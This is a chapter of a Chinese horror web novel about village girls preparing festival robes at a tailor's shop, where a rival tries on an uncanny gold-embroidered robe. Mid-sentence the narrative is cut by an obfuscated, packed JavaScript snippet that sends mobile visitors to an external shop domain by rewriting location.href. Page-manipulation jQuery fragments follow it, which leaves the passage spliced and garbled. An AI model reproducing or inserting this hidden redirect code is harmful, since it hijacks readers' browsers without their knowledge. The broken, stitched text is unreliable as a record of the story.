文趣网 > 其他小说 > 大神村[中恐] > 29. 彩衣节(中秋节加更)
    胡霜正在院子里喂鸡,她从破角的瓷碗里捏起一把谷子扬进去。

    听见女儿的话,她道:“彩衣节?”

    中年女人的脸上露出忆往昔的怅然。

    “对啊,”胡霜突然想起来了。“你们学校每年都会办彩衣节的……”

    她抬起脸,问:“今天几号了?”

    “已经10号了。”秦艽说。

    “都这么晚了。”胡霜哎呦了一声,赶忙把手里的活计放下,回头将女儿从头到尾打量了一番。

    “还有三四天就要彩衣节了,还没来得及给你做彩衣呢!”

    她露出有些懊恼的表情,在水缸旁舀起一瓢水,三两下将沾着鸡食的手冲干净。

    动作快,神情急,等到秦艽反应过来,胡霜已经蹬上了三轮车。

    “走,跟妈出去一趟。”

    秦艽:“去哪儿啊?”

    “找裁缝铺给你做彩衣。”胡霜说。

    什么东西还要专门去裁缝铺做?不就是一个彩衣节吗,听下来也就是一个新生欢迎会?怎么神神叨叨的,衣服还得找裁缝做?

    秦艽虽然不明白,但还是听话地坐到了三轮车上。

    母女俩拐出街口的时候,正好看见前面的李家三口。

    “诶,霜儿,你也带艽娃去做衣服啊?”李金花乐呵呵的。

    胡霜:“对,好几年没做过衣服了,都不知道街上哪儿还有裁缝铺。”

    “正好,我们跟着你去吧。”

    李金花表情有些古怪,“咱们村现在只有一家能做彩衣的裁缝铺了……”

    “我虽然知道在哪,但我怕你不愿意去。”说话时,还偷瞄了两下胡霜的脸色。

    胡霜在她后面蹬三轮,不懂她支支吾吾什么。没好气道:“能做不就行了,我为啥不愿意去?”

    李金花犹豫了一下。“是傅家开的。”

    声音小的可怜,胡霜差点没听见。

    还不等胡霜作反应,李金花立马又说:“你要是不想去,我带你去别的村找找,不行去镇上看看,没准也能找到能做的裁缝。”

    “千万别动气。”不然晚上没人跟我打牌了。

    胡霜先回头看了一眼秦艽。

    秦艽知道她在看自己的反应,在第一时间照顾她的感受,于是,她笑了一下。“没事,过去的恩怨都已经清算过了。”

    “放心吧,我不会让她欺负我了。”

    胡霜:“妈也不会让她再欺负你。”

    两母女相视一笑。

    胡霜见女儿并不在意,也跟着思索了一番。

    他们大神村的彩衣节是很有讲究的,彩衣也只有大神村的人懂得如何做。

    要是带着图去外面找,一时半会儿找不到就算了,就算找到了也不是一般人能上手做的,等做出来估计也要到猴年马月去了,耽误了孩子的一生一次的彩衣节……

    “带路吧。”她对李金花说。

    ******

    ……

    傅家的半开门成衣铺开了有些年头了,三四十年了。

    胡霜还以为这个裁缝铺早就关门大吉了,没想到竟然开到了今天。

    毕竟,傅家是做矿山生意的,对裁缝铺这点蝇头小利没什么兴趣。是因为傅家三姑的独女傅湘绣喜欢做衣服,裁缝铺是傅三姑开给她姑娘玩的。

    谁知道没几年,傅湘绣就意外去世了。

    时隔多年,傅家在傅湘绣走后也没有关掉这家店,还专门雇了人经营看管,成了村上唯一一家开下去的裁缝铺。

    半开门成衣铺的铺面并不大,三十平,柜台是最小的,衣架将铺子里三层外三层地塞满了,除了密集的衣架,铺子的四面墙上也被衣服整整齐齐挂满了。

    铺子里已经来了一批人,胡霜他们是最后挤进来的。

    一个伙计看着年岁不大,赶紧去门外挂上满单的牌子,然后又手忙脚乱地回来给客人定制量身。

    柜台后面有个小门,檀木珠帘用金线银丝串起来,挂在门框上。

    透过门帘,能看见一个花白头发的老翁戴着老花镜,专心致志地在木桌前裁剪布料。

    秦艽不是没去过裁缝铺,上海茂名南路有几家洋装定制店,都是红帮裁缝老店。古朴一些的旗袍定制店也有几家。

    就是没有见过面前这种。

    整体的装修都是用木头,还是阴红色的沉色木,将整间铺子拉入一种古着二手的腐朽感中。

    挂在衣架上的衣服种类虽然多,但颜色都偏老成,非常浓郁。

    不掺杂一丝杂色的蓝裙紫衣、绿袍红鞋。

    离她最近的墙上挂着几件款式繁杂、颜色冗多的极具祭祀风格的衣服,秦艽觉得和电视里看见的大萨满大巫师穿着的衣服很像,但要稍微轻薄和日常一些。

    她忍不住伸出手,摸了摸手边的衣袖。重工的刺绣被手指摩挲,发出沙沙的声响。

    “这个花纹……”秦艽小声地嘀咕,仔细看了看。

    眼睛。

    花纹像是一只又一只大小相同的眼睛,他们层层叠叠绣满了袖口、领口、还有上衣的衣摆,裙子的锁边,都是同样的眼睛图案。

    用金线绣成的眼睛在光照下闪动,像是一帧一帧眨动着。

    不知不觉,秦艽手背的汗毛竖了起来,鸡皮疙瘩爬满了半边身体。

    她发现,墙上挂着的衣服上,多多少少都绣着这种图案。

    秦艽毛骨悚然,下意识向后撤了一步。

    还不等她彻底收回手,一个人推开了成衣铺的门。

    ——“锁子,我送来的衣服你改好了没有?”

    这声音很熟悉,秦艽不用回头就知道是谁。

    傅南星进了门,看见几人愣了一下,脸上的表情有片刻的不自然,但又很快将视线移开了。

    秦艽也在这几秒里观察了一下对方。

    那件事后,傅南星住了一个多月的院才回到学校正常上课。

    她回到学校之后,那些平日里还会对她嘘寒问暖,找她借作业抄的同学突然就从她身边销声匿迹了。想来这个大小姐在背后没少下功夫。

    但最起码没有舞到她面前来,不敢明目张胆地找她的麻烦。

    在之前的学校里,秦艽就很独来独往,只有佳怡一个知心朋友。所以这套小孩子过家家的把戏,她并不在意,完全没往心里去。

    干脆就把他们都当做空气,这两个月过得也很舒坦。

    再见到傅南星这张脸,她都有些陌生感了。

    听说住院的前三天傅南星一直在上吐下泻,不管吃进去什么,等到吐出来、拉出来的时候都是一坨又一坨黑亮的大头发。

    把那群讲究科学的白大褂都吓得不轻,险些从坚定的唯物主义战士的台阶上跌落。

    傅南星三天就掉了七斤肉。

    所以才在医院养了这么久。

    眼下,傅南星的脸部还是有些轻微的凹陷,眼下泛着淡淡的青。

    看来还要再过一段时日才能勉强恢复如初了。得出结论,秦艽终于有种久违的欣慰。

    她将自己的视线收回,专注于观察墙上的衣服。

    傅南星刚才也用余光将秦艽打量了一番,尽管她把秦艽当做眼中钉,肉中刺,却完全不敢再轻易主动招惹这个人。

    于是她收回视线,在心里狠狠冷骂了两句。

    “锁子,我的衣服呢?好了吗?”她不耐烦地催促店铺里唯一的伙计。

    那伙计个子不高人也瘦,小小年纪脸上已经有了做牛做马的沧桑。

    瞧见自己的小东家,他脸上费劲堆着笑,将量了一半尺寸的客人晾在了一旁。

    “好了好了,师父昨天就改好了。”小锁赶紧从小门里取下一件衣服。

    摘衣杆撩起珠帘,先人一步送衣服出了小门。

    余光被烫了一下,秦艽本能回过头去看。视线一下子就被那件衣服吸住了。

    长袍长裙,跟她刚才摸过的那件衣服一样极具特色,但又完全不同。

    看见这件衣服,秦艽的脑海中就出现了两个字——彩衣。

    这件衣服的底色是陈红色的,上面的刺绣是金色的。

    陈旧的配色,并不是能让人眼前一亮的搭配。但不知为何,同样都是金色的刺绣,这件衣服在光照之下呈现却出一种刺目的流光溢彩。

    很漂亮。

    秦艽不得不感叹。

    傅南星见到这件衣服眼睛都亮了,身边也响起一阵低声的讶然。

    所有人都不自觉为这件衣服惊叹出声。

    女生昂着脖子,非常得意地上前摸了摸。

    “快,帮我穿上看看。”她迫不及待地对伙计说。

    小锁奴才似的诶了一声,手脚麻利地开始帮傅南星穿戴。

    这种衣服是不能贴身穿的,会扎的慌,所以试穿的时候直接从外面套穿就好了。

    伺候起小东家,小锁也不拖沓了,也不墨迹了。

    毕恭毕敬地像是乾小四身边的李玉,是奔着让皇上舒心去的。熬了几个大夜赶工的班味怨念都散了,转眼太监帽也顶上了,后背也挂上金钱鼠尾辫了。

    声音也夹起来了,“来,麻烦抬抬手。”

    傅南星张开胳膊,抬起脸。

    伙计帮她一件一件穿上,没一会儿就大功告成了。

    镜子前,傅南星一双眼睛直勾勾盯着身上的这件彩衣,从头到脚、从胳膊到裙边都看了仔仔细细。

    看得脚跟都热了,那股热从即

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969253|212669||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    脚底板涌上来,抓住她的双腿,抖筛着膝盖。

    这一会儿功夫,她的脸都看红了,恨不得大哭大笑一场。

    穿着这套衣服下葬的话,这辈子都值了。

    满意,实在是满意。这件彩衣绝对是最漂亮的,谁也比不过她。

    从小就听说彩衣节,大神村的孩子都期待彩衣节!

    傅南星整日盼星星盼月亮,终于也到了可以过彩衣节的年岁。

    从今年刚入学开始,她就开始到处寻找好看的彩衣图纸。

    左找右寻,都是一些大同小异的样式。都不够好看,都不够好看,都不满意,她怎么能满意!

    距离彩衣节越来越近,傅南星就天天在家里摆脸色摔碗。

    傅家安受不了她的作闹,去求了傅远志,傅远志这才告诉她可以去母亲的裁缝房里找一找。

    是啊,她母亲当年可是村里数一数二的裁缝,经常给她做漂亮的衣服穿。

    傅远志这个蠢东西总算脑子灵光了一回。傅南星急不可耐地在奶奶的房间里翻箱倒柜,终于找到了母亲小阁楼的钥匙。

    家里的小阁楼在三楼,傅南星只能从院子里的楼梯爬上去,通过杂木丛生的露台,打开了已经有些生锈的门锁。

    锁了这么多年,里面竟然一点灰都没有,并且所有的东西都整整齐齐地放在原位。

    恍惚间,阳光照下来时,还能看见母亲坐在裁缝机前,轻轻踩着脚踏板,低头缝衣服。

    傅南星想起母亲,心头堵了一块。

    直到看见那件衣服。

    她的泪立马就止住了,模糊的眼睛亮得不行。

    尽管没开灯,她在黑暗中也能看见华光四射金线铺满了整件彩衣。原本应该朴素无味的陈红底料被更加细密的金线走过一遍,变得如此耀眼,在一片死寂的黑暗中石破天惊。

    太美了!

    第一眼,她就决定了要穿这件衣服去参加彩衣节。

    结果等她兴冲冲扒下来试穿时时,差点被窄小的布料勒得窒息。

    掐着她腰身的走线还崩开了两截。

    傅南星非常吃惊。

    她原本就不胖,天生身体修长,像她妈妈一样。更别说她前些日子遭了秦艽的毒害,在医院里上吐下泻,掉了好几斤肉,身形早就缩水了,肚皮更是薄的没二两肉了。

    可她竟然穿不上?

    腰部和胸腔被两块布料死死掐住,密不透风地沁在她的肉上,恨不得生在上头做她的皮。

    傅南星终是受不了,赶紧将它脱了下来。

    对了,家里还有间裁缝铺!

    她当天就把这件彩衣送到自家裁缝铺。却生怕有人抢了似的,每日都来盯着,眼见着老师傅按照她的尺寸一点点改,一寸寸磨……

    这下终于贴身了,简直就是为她量身打造的彩衣!

    傅南星盯着自己身上的这件衣服,笑得眼睛也红了。

    “真不错……”她的声音都有些抖了。

    她这次,一定会在众人面前好好的大放异彩,出尽风头的。

    就连那个从外面来的秦艽,也比不过她分毫了。

    想到这里,她牙床都呲了出来,仿佛舌根都在颤了。她笑眯眯地,像是一只得了便宜的狐狸崽子,高傲地昂着头颅,对身旁伺候的伙计说:“晚些时候,你和老师傅来我家里领赏吧。”

    小锁霎时就笑开了花。

    “诶,多谢小东家啦!”

    角落里,秦艽将这一切收入眼底。她盯着那件彩衣,不知怎地,心跳得越来越快。

    也许是看见漂亮物件的少女心动,也许是……一种本能的恐惧。

    秦艽不知这种恐惧来自何处,也许是这件衣服美得惊心动魄,叫她害怕了。

    她不懂,只觉得自己的后颈有点热,不由想抬手去摸自己的胎记。

    突然,冰凉的瓶身贴上她的后颈。

    将她那块逐渐灼热的皮肤镇定住了。

    秦艽哆嗦了一下,下意识看过去。

    李空青正对着她笑呢。

    天气临近暑假,已经即将迈入三伏天了,越来越热,他也不垂发了,平常上学的时候经常梳着高马尾。

    但今日却叫秦艽再次眼前一亮。

    眼前长得漂亮的男生将长发低低地盘了起来,多出来的发尾垂在他白皙的肩头。

    一双眼睛黑而亮,亮晶晶地盯着她。

    “给你带了橘子汽水。”

    说话时,肉嘟嘟的唇笑开了,眼仁的黑又朝着四周洇开了一圈。

    认识李空青这么久,还是会被他这张脸吓到。

    太美了,

    美得诡异。

    像那件令她胆颤的彩衣。

    …………